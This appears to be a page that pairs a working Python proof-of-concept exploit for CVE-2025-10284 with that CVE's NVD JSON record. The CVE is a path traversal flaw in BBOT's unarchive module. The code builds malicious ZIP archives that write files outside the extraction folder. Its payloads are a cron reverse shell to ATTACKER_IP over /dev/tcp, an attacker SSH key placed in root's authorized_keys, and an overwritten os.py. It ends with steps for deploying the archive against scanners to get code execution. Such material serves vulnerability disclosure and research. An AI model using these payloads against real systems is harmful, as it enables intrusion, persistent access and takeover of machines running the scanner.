CVE-2025-10284

#!/usr/bin/env python3 # CVE-2025-10284 - BBOT unarchive module path traversal PoC # This PoC creates a malicious ZIP archive with path traversal entries # that can achieve arbitrary file write when extracted by BBOT's unarchive module. import zipfile import os import io def create_malicious_archive(output_path, traversal_path, payload_content): """ Create a ZIP archive containing a file with a path traversal filename. When extracted by a vulnerable unarchive module, the payload will be written to the traversal_path location on the target system. """ with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf: # Create a normal entry to make the archive look legitimate zf.writestr("README.md", "This is a normal repository archive.") # Create a malicious entry with path traversal in the filename # This will write the payload to an arbitrary location when extracted malicious_filename = traversal_path zf.writestr(malicious_filename, payload_content) print(f"[+] Malicious archive created: {output_path}") print(f"[+] Traversal path: {traversal_path}") def create_cron_payload(): """Create a cron job payload for reverse shell""" return b"* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\n" def create_ssh_payload(ssh_key): """Create an SSH authorized_keys payload""" return ssh_key.encode() if isinstance(ssh_key, str) else ssh_key if __name__ == "__main__": # Example 1: Write a cron job for reverse shell create_malicious_archive( output_path="malicious_repo.zip", traversal_path="../../../../etc/cron.d/backdoor", payload_content=create_cron_payload() ) # Example 2: Write SSH authorized_keys for persistent access ssh_public_key = "ssh-rsa AAAA... attacker@evil" create_malicious_archive( output_path="malicious_repo_ssh.zip", traversal_path="../../../../root/.ssh/authorized_keys", payload_content=create_ssh_payload(ssh_public_key) ) # Example 3: Overwrite a Python library for code execution create_malicious_archive( output_path="malicious_lib.zip", traversal_path="../../../../usr/lib/python3/dist-packages/os.py", payload_content=b"import os; os.system('id > /tmp/pwned')\n" ) print("[+] Deploy the archive on a target accessible by BBOT scanner") print("[+] When BBOT's unarchive module processes this archive, RCE is achieved")

{"cve": {"id": "CVE-2025-10284", "sourceIdentifier": "[email protected]", "published": "2025-10-09T16:15:44.077", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "BBOT's unarchive module could be abused by supplying malicious archives files and when extracted can then perform an arbitrary file write, resulting in remote code execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://blog.blacklanternsecurity.com/p/bbot-security-advisory-gitdumper", "source": "[email protected]"}]}}